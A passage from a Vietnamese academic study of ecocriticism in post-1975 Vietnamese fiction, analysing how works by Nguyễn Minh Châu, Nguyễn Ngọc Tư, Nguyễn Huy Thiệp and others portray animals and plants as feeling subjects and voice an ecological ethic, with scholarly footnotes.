tác giả đã giúp cho chúng ta khỏi trượt xa trong cái nhìn duy ý chí về vạn vật, để
trở lại với tâm thức sống hòa hợp tự nhiên mà từ lâu con người đã đánh mất, khôi
phục lại cái khách thể tự nhiên câm nín bên cạnh chúng ta: “Một trong những sứ
mệnh của văn học nghệ thuật sinh thái là thức tỉnh những khách thể trầm lặng
đang bị tổn thương một cách nghiêm trọng xung quanh chúng ta, khôi phục thân
phận chủ thể vốn có của nó”1
. Con người – sau hàng trăm năm không thừa nhận
cái khác, coi mình là tiếng nói duy nhất, độc tôn, thì nay, cần từ bỏ cái tư thế ngạo
nghễ “chúa tể của muôn loài” để thừa nhận một tiếng nói khác ngay bên cạnh –
tiếng nói của thiên nhiên. Đặt thiên nhiên ở địa vị chủ thể là cách con người từ bỏ
tư tưởng độc thoại mà tìm đến nguyên lí đối thoại.
Đối sánh với tự nhiên, con người thấy mình trở nên khiếm khuyết, bất
toàn. Ngay cả đối với hoạt động tính dục, loài vật cũng dạy con người những bài
học sơ khởi của sự hòa hợp với tình yêu thương. Nguyễn Minh Châu dành những
trang viết đầy thơ mộng để miêu tả tình yêu của con mèo: “điệu vũ khúc tình yêu
dưới trăng trên mái ngói giữa chàng và nàng cứ kéo dài mãi như thế, như một thứ
ngôn ngữ tuyệt vời của tình yêu không bao giờ có thể thổ lộ cạn lời” (Một lần đối
chứng, Nguyễn Minh Châu). So sánh muông thú với con người, thậm chí thấy con
người thật tồi tệ. Hành động trả thù của cha khiến Nương và Điền “xấu hổ vì mình
là con người xộc lên mũi sặc sụa” khi đối sánh với hành động đạp mái của bầy vịt
“tôi phát hiện ra chúng chẳng bao giờ cưỡng đoạt và gạ gẫm nhau. Khoảng thời
gian trước khi con trống trèo lên con mái rất thật, mềm mại, êm đềm… Tuyệt
không có gì thô tục (…), trong sự hoan lạc (của những con vịt) đầy ắp thứ gọi là tình
– yêu” (Cánh đồng bất tận, Nguyễn Ngọc Tư). Đối với bản thân loài vật, hoạt động
tính dục được thực hiện đúng với bản năng thiên bẩm, tự nhiên, hài hòa, “chuyện
tính dục được bộc lộ đầy thi vị, mang sắc thái thẩm mĩ”. Còn con người, hoạt động
ấy mang trong đó sự ích kỉ, thù hằn, giả dối – điều tuyệt nhiên không có ở loài vật.

1 Nguyễn Thị Tịnh Thy (2013), Tô tem sói của Khương Nhung từ lý thuyết sinh thái, Báo cáo khoa học, Đại học Sư
phạm Huế, tr 17.
156
Đối sánh ấy khiến chúng ta giật mình nhận ra, tình dục của con người không còn
mang vẻ đẹp của bản chất tự nhiên nữa mà bị khúc xạ qua thói vị kỉ, xấu xa của con
người. Điền đã từ chối sự lớn lên bằng cách tự kìm hãm bản thân vì nghĩ là tình dục
là xấu, nhưng những chú vịt đã dạy cho Điền biết cái đẹp của hoạt động tính dục,
nó không phải là những gì Điền chứng kiến ở con người (tình dục đối với cha là rắp
tâm trả thù; đối với má, với Sương là sự đổi chác; đối với Nương là sự cưỡng đoạt)
mà thực sự nên thơ, êm đềm, là hành động chia sẻ tình yêu thương. Loài vật đã
dạy cho Điền bài học sơ giản về sự hài hòa của tình dục và tình yêu. Quả như
Phương Lựu phát hiện “… xu hướng tình dục hiện nay đã đi quá xa. Không ngần
ngại mà nói rằng có đôi chỗ còn phải ngượng ngùng trước loài vật”1
. Loài người đã
đánh mất đi cái đẹp huyền diệu hồn nhiên sơ khởi của tạo hóa ban cho trong hoạt
động tính giao, chỉ còn lại sự thù hằn, ích kỉ, tính toán, trong khi đó ở loài vật vẫn
giữ được vẻ đẹp nên thơ của tự nhiên huyền diệu. Vậy nên sự đối sánh với loài vật
làm lộ ra một sự thật : khi rời bỏ vẻ đẹp nguyên thủy ban sơ, con người trở nên
khiếm khuyết, bất toàn.
Người phụ nữ trong truyện ngắn Giường đôi xóm Chùa (Đoàn Lê) đổ vỡ
trong hôn nhân. Tự tìm đến nhà người đàn bà là người tình cũ của chồng, biết rằng
chồng mình muốn bù đắp phần đời còn lại cho người xưa, chị tự nguyện chia tay,
không trách móc, oán hận. Là một nhà báo, trên đường đi chị ghé qua đảo khỉ để
làm phóng sự. Câu chuyện tình của những chú khỉ giúp chị chiêm nghiệm về sự
thủy chung của loài người, chị cũng chợt nhận ra “Tôi ngẫm nghĩ về những con khỉ.
May cho chúng không đảo lộn đời sống như con người”. Ý tưởng sự không tiến hóa
thành người của khỉ là một sự may mắn, những chú khỉ sẽ mãi được sống hồn
nhiên, tự do “tôi đang khúc khích trên một cành cao nào đó, khẹc khẹc chào từ
biệt loài người. Tôi đã ở lại đảo nhập đàn với đồng loại hoang dã tự do” là một ý
nghĩ táo bạo, nó phản biện lại thói quen tự phụ về sự tiến bộ của loài người.
Quan điểm này cũng được nhiều nghệ sĩ chia sẻ. Lê Hựu Hà (Hãy nhìn xuống
chân) bày tỏ nỗi ưu phiền qua so sánh với loài côn trùng, dế giun mà nhận ra loài
người đã sống bon chen, lợi danh, ích kỉ, chém giết, chạy theo đồng tiền một cách
thảm hại như thế nào (Hãy nhìn xuống chân/Dế giun đang cười con người/(…) Hãy
nhìn xuống chân/ Để thấy thua loài côn trùng/ Suốt đời sống bon chen nhọc thân).
Cũng vậy, Bác làm vườn và con chim sâu (Đức Hùng) dù lấy cảm hứng từ bộ phim

1
Phương Lựu (1996), “Tản mạn về văn nghệ với tính dục”, Tạp chí Văn học, số 3, tr 10-17, tr 12.
157
hoạt hình dành cho trẻ nhỏ: con người có thể nói chuyện với chim chóc và muông
thú, tác phẩm đã đặt ra những trăn trở hết sức nghiêm túc về hiện sinh, những câu
hỏi về thời gian và sự hữu hạn, về tình yêu và cái chân thật, về niềm hạnh phúc và
tự do… mà so với cái bao la của bầu trời và cái an nhiên của con chim sâu, con
người không thể có được.
Một nhân vật của Nguyễn Huy Thiệp trong truyện Những người muôn năm cũ
“ước ao có sức mạnh của con đười ươi sống đơn độc trong hang núi”. Theo Doanh,
“con người vốn dĩ yếu đuối, họ tự phỉnh mình bằng những lập luận có lí để có ảo
tưởng tự tin hòng sống qua kiếp người gian khó trầm luân”. Cách nhân vật giễu nhại
về nền giáo dục, phỉ báng cách dạy học giáo điều của ông giáo Chi (Sống dễ lắm), ông
giáo Hội (Chăn trâu cắt cỏ), ông giáo Quz (Thương nhớ đồng quê)… là để nhấn mạnh
một quan điểm dạy học gần với triết lí Lão – Trang, trở về với tự nhiên thanh sạch, an
lành để được chất phác hồn nhiên, bởi “Tất cả do tự nhiên điều chỉnh hết” (Sống dễ
lắm). Lời cô giáo Thục “vô sự vô sách với tạo hóa” (Những người thợ xẻ) trở thành
phong cách sống, có như vậy con người mới thoát khỏi vòng danh lợi, bon chen, ham
muốn để được thanh thản, hạnh phúc. Quả như nhận xét của Lã Nguyên: “với Nguyễn
Huy Thiệp, niềm tin hình như ở phía sau, chứ không có ở phía trước, nó tồn tại trong
môi trường đời sống tự nhiên, chứ không tìm thấy trong xã hội văn minh giả tạo.”1
.
Quan niệm của Nguyễn Huy Thiệp gần với ý niệm mà Masanobu Fukuoka cảnh báo
trong Cuộc cách mạng một cọng rơm : “Nhanh tốt hơn chậm – nhiều tốt hơn ít, “sự
phát triển” hào nhoáng có liên hệ mật thiết tới sự sụp đổ cận kề sắp xảy đến cho toàn
xã hội. Nó khiến con người bị chia tách khỏi thiên nhiên. Ðánh mất hạnh phúc của đời
sống hài hòa cả về thể chất và tinh thần”2
.
Cách viết này thật khác truyền thống hòa hợp với tự nhiên trong văn học trung
đại. Thiên nhiên trong văn học trung đại luôn là điểm tựa, nền cảnh, là ẩn dụ, biểu
tượng cho con người. Trong mối quan hệ với loài vật, dù con người có đầy sự chia sẻ,
cảm thông, vui vầy, thì con người vẫn được miêu tả dưới cái nhìn “nhân loại trung
tâm”, con người làm hệ quy chiếu cho vạn vật. Đó là lí do vì sao để có thể giao tiếp với
con người, những nhân vật thành tinh (tinh hoa, ong, cáo, cây gạo, con chuột…) trong
Liêu trai chí dị của Bồ Tùng Linh, hay Truyền kì mạn lục của Nguyễn Dữ cứ phải “đội lốt

1
Lã Nguyên (2007), Văn học kì ảo: nhìn từ hệ hình thế giới quan, Tạp chí Văn học nước ngoài, (6) tháng 12,
tr 203- 209, tr 207.
2
Fukuoka M. (2015), Cuộc cách mạng một cọng rơm, Shopxanh dịch, NXB Tổng hợp Hồ Chí Minh, tr 88.
158
người”. Còn trong ý thức sinh thái sau 1975, tự nhiên là một sinh linh đối trọng với
con người, phản biện lại thế giới người để con người có thể soi vào vạn vật mà nhận
ra cái bất toàn, khiếm khuyết và cả nỗi cô đơn sâu thẳm mênh mông. Thời trung đại,
khi hòa nhập vào tự nhiên, làm bạn với cỏ cây muông thú, con người cảm thấy bớt
muộn phiền; giao hòa cùng tự nhiên, sống an nhiên thanh thản, vui vầy. Con người
hiện đại vĩnh viễn mất đi cái an nhiên bình tĩnh ấy. Dù cho tìm quên trong cỏ cây, làm
bạn với loài vật thì vẫn thấm đẫm nỗi âu lo hiện đại, thì vẫn cô đơn nguyên khối, khó
có thể san sẻ. Soi vào thế giới phi nhân loại (nonhuman), lắng nghe tiếng nói và tâm
hồn của chúng, con người với ý thức sinh thái đã từ bỏ tư thế kiêu hãnh “kiểu mẫu
của muôn loài” để nhận ra sự bất toàn của mình. Tạo hóa sinh ra con người và muôn
loài là tốt đẹp và hoàn hảo, chỉ vì con người với những lí trí, dục vọng… đã làm khuất
lấp đi vẻ đẹp tự nhiên ấy.
2.2 Đồng cảm với thế giới tự nhiên bị thương tổn
Descartes, triết gia người Pháp thế kỉ 17 đã giải phóng con người khỏi nỗi
boăn khoăn về nỗi đau đớn của con vật và trở thành người chủ sở hữu tự nhiên
bằng cách quan niệm “những con vật chẳng là gì hơn và hoặc chẳng là gì khác
những cỗ máy cơ giới rất phức tạp”1
. Tất nhiên, rất nhiều quan điểm tôn giáo và
triết học phản đối quan điểm đó: “phủ nhận việc loài vật có thể thể hiện sự thích
thú và nỗi đau… cứ như thể bằng tiếng kêu, tiếng rên rỉ của mình, những con vật
chẳng phàn nàn gì về nỗi đau thể xác, ngay cả khi chúng bị bỏ rơi, bị nhốt, bị sập
bẫy, bị cách li với con cái, chịu những nỗi đau tinh thần… Cứ như thể chúng không
cảm thấy lo âu”2
. Hiến pháp hiện đại (Modern Constitution) tách biệt con người và
thế giới tự nhiên là điều kiện để “việc tiêu thụ thịt động vật gần như bị ngắt liên hệ
hoàn toàn với sự chịu đựng nỗi đau đớn và cái chết của những con vật. Bởi vậy, khi
đạt đến được sự nhận thức về tính không thể tách biệt giữa tự nhiên và văn hóa,
vật chất (physis) và kĩ thuật (techne), trái đất và vật tạo tác, sự tiêu thụ và sự hủy
diệt, cũng là lúc chúng ta vượt qua được sự bế tắc của Chủ nghĩa hiện đại cũng
như sự kiêu ngạo của Chủ nghĩa nhân văn”3
.
Lắng nghe tiếng nói từ tự nhiên để, nói như Montaigne, con người cần “một

1
Fontenay E. (2013), Khi con vật nhìn ta, Hoàng Thanh Thủy dịch NXB Tri Thức, Hà Nội, tr 31.
2
Fontenay E. (2013), Khi con vật nhìn ta, Hoàng Thanh Thủy dịch NXB Tri Thức, Hà Nội, tr 48.
3
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
159
sự tôn trọng nhất định và một nghĩa vụ chung của nhân loại gắn kết chúng ta
không chỉ với những con vật vốn có cuộc sống và tình cảm, mà còn với cả cỏ cây.
Chúng ta cần công lí cho con người, và cần thiện ý cũng như sự nương nhẹ đối với
các tạo vật khác, vốn cũng có khả năng như vậy. Có một mối liên hệ nào đó giữa
chúng và chúng ta, một sự ràng buộc lẫn nhau nào đó”1
.
Các nhà phê bình sinh thái tìm trở lại các lí thuyết của các tôn giáo phương
Đông để nhắc nhở con người về việc cần tôn trọng sinh mệnh tự nhiên. Phật giáo
nhấn mạnh sự tôn trọng đối với sinh mệnh khác. “Tất cả chúng sinh đều có ân với
mình, làm sao có thể giết chúng để ăn? Giết hại sinh mệnh tức là tạo nghiệp ác,
nhất định sẽ nhận lấy báo quả sinh tử”. Thậm chí, trong truyện sự tích Đức Phật,
Thích-ca- mâu-ni “xả thân cho hổ ăn thịt”. Truyền thống của nhiều dân tộc phương
Đông tin vào sự đầu thai của các linh hồn. Quan niệm luân hồi có thể không giải
quyết được tình trạng khủng hoảng sinh thái nhưng niềm tin về một thời đại hoàng
kim “con người và động vật sống bên nhau, thậm chí trò chuyện với nhau” hẳn sẽ
giúp con người đối xử với tự nhiên không phải như “một tên bạo chúa”.
Càng ngày, con người văn minh càng phải biết cảm thông với tự nhiên, đó
cũng là lí do những tổ chức bảo vệ động vật ra đời, để lên án những hành vi trái với
quyền động vật như lấy mật gấu, lấy sừng tê giác, lấy ngà voi… Tại sao việc cứu lấy
các động vật hoang dã lại quan trọng? Bởi vì để cứu chúng, con người sẽ phát triển
tính người, mà nhân tính lại là cái chúng ta cần có để nhân loại bền vững. Như vậy,
từ quyền con người đến quyền của tự nhiên là bước tiến lớn trên lộ trình nhân
văn hóa con người. Học cách yêu qu{ muôn loài là cách chúng ta nuôi dưỡng nhân
tính. Điều đó thể hiện qua cách ứng xử của con người với thế giới, con người tự
thu nhỏ mình lại, không xem mình là “chúa tể”, không phải là độc tài độc đoán nữa
“chúng ta không chỉ nghe được tiếng nói của con người mà còn nghe được tiếng
nói của tự nhiên, hiểu được tự nhiên phải chống lại, hoài nghi, khiếp sợ và chạy
trốn con người như thế nào”2
.
Coi loài vật có sinh mệnh nghĩa là thay đổi quan niệm về chính con người,
không phải con người độc quyền có ngôn ngữ, tư duy, tình cảm và cảm xúc. Nhà thơ
Mỹ, Stephen H. Schneider cho rằng động vật cỏ cây đều có quyền của chính nó.

1
Fontenay E. (2013), Khi con vật nhìn ta, Hoàng Thanh Thủy dịch NXB Tri Thức, Hà Nội, tr 39.
2 Nguyễn Thị Tịnh Thy (2013) “Phê bình sinh thái – nhìn từ lí thuyết giải cấu trúc”, Văn học hậu hiện đại – lí thuyết
và thực tiễn, Lê Huy Bắc chủ biên, NXB Đại học Sư phạm, Hà Nội, tr 25 – 31, tr 29.
160
Nhiều nghiên cứu khoa học cũng đã chỉ ra loài vật cũng có tư duy, ví như con ngựa
có tư duy như một đứa trẻ
1
. Do vậy, người ta mới đặt ra quyền của động vật, bởi
một khi loài vật cũng có những đặc điểm như con người, vậy tại sao xâm hại đến
phần bị đau của đồng loại thì trái với nhân đạo còn với động vật thì được phép?
Con người hiện đại nhìn thấy cái phi nhân nhất của mình qua hành động giết
hại động vật. Vì sao lão Hạc quyết tự tử bằng bả chó? Điều cốt yếu ở chỗ chính là lão
day dứt, ám ảnh với nỗi đau của con vật. Nếu con chó là vật vô tri hoặc lão Hạc không
nhận ra nỗi đau của con vật thì lão không ám ảnh đến như vậy (Lão Hạc- Nam Cao).
Cũng vậy, Châu (Đồ tể – Nguyễn Trí) nhận thấy sự tinh khôn của con heo “ai nói ngu
như lợn là sai, có vào nghề này mới biết nó cũng khôn và biết trước cái chết của
mình”, nỗi đau đớn của con trâu “Ðau lắm. Chắc là đau đớn lắm nên tiếng kêu bi
thương ngoài sức tưởng tượng” nên anh cảm thấy ghê rợn, ám ảnh khi phải làm nghề
đồ tể. Nương và Ðiền chứng kiến cảnh những con vịt của mình bị chôn sống, cảm thấy
đau đớn đến nghẹt thở “tôi nghe vịt – của – tôi vẫn còn thoi thóp, chúng đau đớn vì
những cái cổ gãy, rối quặt quẹo… cảm nhận được cái thở hướt ngắn dần, ngắn dần
của con vật sau cùng”. Con người cảm nhận nỗi đau của con vật như nhận ra nỗi đau
của đồng loại: “Họ phởn phơ nói bằng thứ ngôn ngữ buồn cười (bọn chăn vịt chúng
tôi chẳng khi nào dùng những chữ “chỉ thị”, “loại trừ tận gốc” hay “giải quyết dứt
điểm”…). Thật đơn giản, khi nói “các người phải tiêu hủy bầy vịt”. Cha tôi cáu kỉnh gật
đầu. Tôi và Điền kêu lên một tiếng buốt, ôi, những bạn – bè của chúng tôi sắp bị chôn
sống nữa rồi” (Cánh đồng bất tận, Nguyễn Ngọc Tư).
Tuy nhiên, “truyền thống tư tưởng phương Đông thường thiên về bảo vệ
động vật hơn thực vật”2
, điều đó tạo nên sự bất công sinh thái. Bởi vì chúng ta vẫn
thường lấy tiêu chí cảm giác để vạch ra sự khác biệt giữa các loài. Sự thật, cây cối
cũng có cảm giác. Nhiều thí nghiệm chỉ ra rằng thực vật thay đổi hướng của những
chiếc lá đến phía có ánh sáng và kéo dài rễ đến chỗ có nước hoặc có chất dinh
dưỡng. Như vậy thực vật cũng nhận thức được môi trường. Bởi vậy “từ góc nhìn
rộng, thực vật được coi là loài có cảm giác”3
. Chỉ những người thật sự yêu thương

1 Desmond Morris (2010), Vượn trần trụi, Vương Ngân Hà dịch, NXB Hội Nhà văn, Hà Nội, tr 208.
2
Trần Hải Yến (2014), “Nghiên cứu phê bình sinh thái hiện đại và di sản văn hóa: nhìn từ cách Sinh thái học
tìm về Tam giáo” (Phật giáo, Nho giáo, Đạo giáo), Hội thảo khoa học Phát triển văn học Việt Nam trong bối
cảnh đổi mới và hội nhập quốc tế, Viện Văn học.
3 Ngụy Đức Đông, “Quan điểm của Phật giáo về môi trường sinh thái”, Đạo phật và môi trường, Thích
Nhuận Đạt dịch (2010), NXB Tổng hợp thành phố Hồ Chí Minh, tr 109 – 197, tr 194.
161
cây cối mới có thể nhận ra cảm giác của cây cỏ. Trong con mắt của ông Thông, việc
chặt cây sấu là “làm thịt” khiến cho “thân cây bị lột vỏ đang ứa nhựa, ở những
khoảng vỏ mới bị lột nom đỏ hỏn như da đứa trẻ sơ sinh” (Sống mãi với cây xanh,
Nguyễn Minh Châu). Khi cây sấu bị hạ xuống bác Thông như bị mất đi một phần
trên cơ thể của mình vậy “Cây sấu vẫn bình thản mà ông lão thấy đau, y như sắp
phải đứng để người ta cưa tay cưa chân mình”; cảm nhận được “Tiếng máy cưa
xoèn xoẹt cứa vào da thịt ông lăo”. Ông ngoại (Cội mai lưu lạc, Quế Hương) yêu cội
mai sát bên nhà, hắt bóng vào phòng “bốn mùa, ông theo dõi từng biến chuyển
tồn sinh của nó. Ông gọi nó là huynh vì nó có từ buổi đầu lập Mai gia trang. Năm
nào đến mùa trảy lá, cội lão nhất cũng dành cho vị cao tuổi nhất của Mai gia trang.
Ông vừa trịnh trọng trảy lá vừa lầm thầm xu{t xoa: “Huynh chịu khó để đệ vặt lá
cho huynh ra hoa”. Ông thấu nỗi đau mà loài cây ấy phải trải để khai hoa nở nhụy
cái đẹp”, làm cho xuân về bát ngát sắc vàng. Vậy mà con cháu đã thuê cả năm
người đốn cật lực trong suốt một tuần tàn sát vườn mai lập từ thời cụ tổ: “Những
cây rựa sắc lẻm huơ lên, hoa mai như đàn bướm bị xé xác, lả tả rơi, nghìn nghịt
phủ kín vườn. Nước mắt hoàng mai tuôn mấy ngày ròng chưa cạn…” Việc sát hại
cả vườn mai khiến cho cả khu vườn tràn ngập xác mai vàng. Tác phẩm này khiến
người đọc nhớ đến tiếng rìu đốn cây vang lên trong vở kịch Vườn anh đào của
Anton Chekhov. Hoa địa lan trong các truyện Dương Duy Ngữ đều được các nhân
vật xem đó là “cỏ linh”, “thứ cỏ linh đài các thanh cao”, có thể thấu suốt được tính
cách con người: “Giống lan này kĩ tính lắm. Nó kén người trồng đã đành. Nó còn
kén cả người xem mặt nó nữa đấy” (Tuyệt chiêu). Cụ cử Hàn (Mặc Phúc Xuyên)
không muốn chậu Đại Mặc vào phủ chúa sống đời hiu quạnh, phải chôn cây lan
xuống ao, cụ xót xa an ủi “Quân tử phải chịu hàn vi”. Khi cụ Mộng Tiên (Tầm lan)
mất, gia đình cụ cũng tết một giải khăn xô lên cây địa lan, cây cũng cảm được sự
mất mát.
Thế giới thiên nhiên là nơi phản chiếu tâm hồn, kẻ biết yêu thương cỏ cây
muông thú “che chở cho một sinh linh nhỏ bé, yếu ớt” (Cánh đồng bất tận – Nguyễn
Ngọc Tư) không bao giờ là người tàn nhẫn. Những người gần gũi với loài vật đều là
những người hiền lành, chất phác, tràn đầy yêu thương. Nguyễn Đăng Mạnh phát
hiện ra trong truyện ngắn Nguyễn Huy Thiệp những nhân vật tốt thường “sống nhiều
với thiên nhiên và có điều kiện giữ gìn được bản tính tự nhiên, bản chất Tạo hóa của
162
mình”1
như lời của cô giáo Thục : “Vô sự với Tạo hóa, trung thực đến đáy, dù có sống
với bùn, chẳng sợ không xứng là người” (Những người thợ xẻ).
Ông Sáu (Biển người mênh mông, Nguyễn Ngọc Tư) gắn bó với con bìm bịp
là người hồn hậu, nghĩa tình, biết quan tâm đến người khác, bỏ cả cuộc đời còn lại
đi tìm vợ vì nỗi ân hận lỡ lời. Hai kẻ làm bạn với vịt (Cánh đồng bất tận, Nguyễn
Ngọc Tư) đã động lòng trắc ẩn cứu cô gái điếm thoát khỏi hoàn cảnh dã man của
những kẻ đánh ghen. Lão Khúng (Phiên chợ Giát, Nguyễn Minh Châu) dù gai ngạnh,
thủ cựu, cứng rắn, tính toán nhưng khi nhìn thấy thịt bò bày bán ở chợ, lão không
nỡ bán con bò Khoang cho người ta giết thịt mà tha bổng cho nó về rừng. Tí là cậu
bé bụi đời, chuyên huấn luyện chó để đi ăn cắp nhưng kì thực lại là một tâm hồn
sáng trong. “Thấy cách Tí bụi chăm sóc bà mẹ điên và bầy chó, tôi nhận ra sau lớp
bụi đời cáu bẩn, tâm hồn hắn vẫn lóng lánh những sắc màu đáng qu{” (Tí bụi, Quế
Hương). Trở về với muôn loài cầm thú, con người đã nuôi dưỡng, gìn giữ bản tính
thiện. Ông Diểu (Muối của rừng, Nguyễn Huy Thiệp) đi săn nhưng chủ yếu cảm
nhận “sự tĩnh lặng bình thản của rừng xuyên suốt qua ông”, nên mỗi lần gây tai
họa cho khỉ, ông đều ân hận, thảng thốt. Khi dương súng bắn, “sự hỗn loạn của
đàn khỉ khiến ông Diểu sợ hãi run lên… Ông đã lộ mặt là tên ám sát”; khi dồn khỉ
con đến miệng vực khiến nó lăn xuống, “ông Diểu tái mặt, mồ hôi toát ra như tắm.
Từ vực sâu hun hút vang lên tiếng rú thê thảm của con khỉ nhỏ… Ông Diểu lùi lại
kinh hoàng”; khi vác con khỉ đực bị thương xuống núi ông băng bó vết thương,
chăm sóc cho nó, “thấy thương hại”, “tránh nhìn vào mắt nó” vì “dễ mủi lòng”.
Cuối cùng ông thả con khỉ như là một hành động chuộc lỗi với tự nhiên và ông đã
được đất trời ân thưởng gặp loài hoa tử huyền ba mươi năm mới nở một lần. Tuệ
anormal phụ cha làm nghề bắt chó giết thịt nhưng khi chứng kiến cô gái bé nhỏ,
gầy nhom lấy hết sức lực của mình ra cứu con chó thì động lòng trắc ẩn thả con
chó ra và từ bỏ nghề, đồng thời suốt đời giữ một tình yêu thầm lặng, câm nín, tôn
thờ cô gái bé nhỏ nhưng quyết liệt và đa cảm ấy. Tình yêu đó khiến cho anh trở
thành “một người yêu vô lượng, một gã đồ tể buông cây dao trong tâm” (Hoa tre
nở, Quế Hương). Có lẽ, vẫn có một nguồn mạch nhân tính ngầm chảy suốt trong
các trang viết về loài vật. Những câu chuyện về loài vật thường là hướng đến đối
tượng trẻ nhỏ, những tâm hồn bé bỏng nguyên sơ thanh khiết. Nhưng rõ ràng

1 Nguyễn Đăng Mạnh (2008), “Truyện ngắn Nguyễn Huy Thiệp”, Tuyển tập phê bình văn học, NXB Đà
Nẵng, tr 392 – 395, tr 394.
163
những câu chuyện trên đây, dù không phải cho trẻ nhỏ, bởi mang trong đó nhiều
nỗi niềm sâu xa của con người trưởng thành thời hiện đại, thì trong bản chất, nó
vẫn hướng đến sự trong sáng, thuần khiết của tâm hồn. Cách viết này nối lại mạch
sống hòa hợp ngàn đời của con người với tự nhiên, giúp nhân loại khỏi trượt xa
trong cách đối xử ngỗ ngược với vạn vật.
2.3 Tiếng nói của những thân phận bé nhỏ
Khi nói đến đạo đức, chúng ta chỉ chú ý tới quan hệ con người với nhau mà ít
chú ý tới quan hệ với tự nhiên. Thực chất, con người cần phải giao tiếp với cái ngoài
nó, với cái phi nhân loại (nonhuman) để điều chỉnh đạo đức của mình mới có thể sống
yên ổn và hạnh phúc. Nếu con người chỉ coi tự nhiên là giới vô tri, phục vụ cho lợi ích
thực dụng của mình, mà không nhận thấy, đó còn là một thế giới khác để con người
giao tiếp với cái ngoài nó, mà khi mất đi chiều giao tiếp với sự sống đó, tâm hồn con
người sẽ trở nên què quặt, con người sẽ cảm thấy rất cô đơn. Trong văn xuôi sau năm
1975, đã xuất hiện những kiểu nhân vật biết lắng nghe tiếng nói của thế giới tự nhiên,
biết che chở và đồng cảm với những thân phận tự nhiên câm lặng, bị mất tiếng nói
như bác Thông (Sống mãi với cây xanh, Nguyễn Minh Châu), bác Hòa (Ngôi nhà xưa,
Đặng Nhật Minh), ông lăo (Cái nhìn khắc khoải, Nguyễn Ngọc Tư), Nương và Điền
(Cánh đồng bất tận, Nguyễn Ngọc Tư), em (Gió lẻ, Nguyễn Ngọc Tư), người vợ (Mùi
cọp, Quý Thể), Đoan (Con chó và vụ li hôn, Dạ Ngân), ông câm (Hoa thủy tiên, Dương
Duy Ngữ)… Những kiểu nhân vật đó lại chủ yếu là những người phụ nữ, trẻ em, người
già… những người nhỏ bé, lẻ bầy, cô độc, lập dị, ngốc nghếch, khiếm khuyết… Nhưng
chính những người ở thế yếu, bị đẩy ra bên lề đó là những nhân vật hình thành đạo
đức sinh thái mới về tự nhiên.
Dễ nhận thấy, làm bạn với loài vật, lắng nghe tiếng nói của loài vật trong
truyện hầu hết là những nhân vật người già hoặc trẻ em – những con người gần tự
nhiên hơn cả. Chỉ có tâm hồn bao dung “như nước lớn, như đồng khơi” của người
già và tâm hồn nguyên sơ thánh thiện của trẻ nhỏ mới cảm nghe được linh hồn của
tạo vật. “Một trong những con đường hòa vào thiên nhiên một cách rất bản năng là
thông qua ngôn ngữ loài vật. Loài vật làm đưa con người trở về tuổi thơ một cách
tự nhiên, ngây thơ và giàu trí tưởng tượng”1
. Trong truyện ngắn Sống mãi với cây
xanh nhà văn đã tạo ra những cuộc trò chuyện với ngọn gió, với mẹ Đất hiền dịu, với

1
Lê Lưu Oanh – Đinh Thị Doanh (2010), Tư duy đồng thoại trong thơ hiện nay, http://nguvan.hnue.edu.vn
164
cây xanh. Giữa bác Thông và cây xanh như có ngôn ngữ giao cảm riêng, mà “từ xưa
chỉ có hai loại người chỉ biết thứ ngoại ngữ thú vị đó là tiên bụt và trẻ em, và về sau
này, thêm các nhà bác học”. Tuy nhiên “Bác Thông không phải trẻ em, tiên bụt, cũng
chẳng phải bác học hoặc nhà thông thái gì cả, nhưng đã ba đời nhà bác làm nghề
trồng cây” nên giữa bác và chúng trò chuyện được với nhau cũng dễ hiểu. Bác Thông
còn lắng nghe tiếng đất : “Đất cát cũng có tiếng nói của nó nhưng tính nết của đất
vốn lầm lì, ít lời, hàng trăm năm mới mở miệng thốt lên một tiếng và con người ta
thường dựa vào đó, suy ngẫm để mà sống”. Ông lão chăn vịt (Cái nhìn khắc khoải,
Nguyễn Ngọc Tư) gắn bó với con vịt Cộc đến nỗi bạn bè của ông than phiền “Cha nội
này sống thấy rầu quá trời đất, mai mốt con vịt xiêm đó chết rồi, để coi ông sống với
ai?”. Và con vịt xiêm đó không chỉ quan trọng với ông lão, nó còn quan trọng với cả
truyện ngắn Cái nhìn khắc khoải. Nếu thiếu nó truyện sẽ trở nên rất nhạt. Kì thực, đó
là một cốt truyện không hấp dẫn nhưng lối viết duyên dáng nhờ thêm vào chú vịt
Cộc khiến cho câu chuyện trở nên có hồn. Đây có lẽ cũng là ngụ ý của tác giả khi xây
dựng song song hai hình tượng người – vịt. Ngay khi giới thiệu ông lão chăn vịt đồng
khơi, hình ảnh con Cộc cũng được hình dung cụ thể với thói quen (buổi sáng ùa ra
cùng với bầy vịt rồi nghe ông lão gọi thì cọ đầu vào bắp đùi của ông; buổi tối ngủ vùi
dưới mé kinh, ông lão kêu lại lạch bạch đi lên), cảm giác (mùi rạ thơm quá, ngọt quá,
ngụp mỏ vào thấy sướng người), tính cách (Nó là con vịt chúa gây chuyện… Nó khá
cộc cằn, tư lự). Đó là chú vịt có cá tính, thông minh và khá ý nhị. Từ cái cách nó chào
đón cô Út “Con vịt ngoắc ngoắc cái đầu lại, ý nói, vịt xiêm chớ vịt gì, thiệt tình”, nhận
ra sự bối rối của hai người “bữa nay hai ông bà có chuyện gì mà bắt mình ăn thấy bà
cố nội” đến cách nó bình luận về tình cảnh khó khăn “Con Cộc điềm đạm lại cái mẻ
lúa, nó ăn chậm rãi. Ý nói sao mà tôi tội nghiệp hai người quá đi, làm người mà khổ
vậy, làm vịt sướng hơn”, cái cách chia sẻ với ông lão “gác đầu lên đùi ông, cọ cọ an
ủi” và cái nhìn thấu hiểu, cảm thông “Con Cộc mổ vô ống quyển của ông, rồi nhóng
cần cổ dòm ông lom lom, có phải ông chờ bà đó quay lại không?” thật tinh tế, toát
lên một thần thái rất duyên dáng.
Đặc biệt, đối với trẻ nhỏ, việc tiếp xúc với tự nhiên bao giờ cũng khiến cho tâm
hồn phóng khoáng hơn. Tình yêu thiên nhiên của trẻ thơ luôn thuần khiết và sáng
trong. Hiền Phương nhận thấy vai trò của cây cỏ với tâm hồn trẻ nhỏ. Những chiếc lá
xạ hương làm cho tuổi thơ của Hiền trở nên đầy màu sắc “cảm thấy giàu có nhất thế
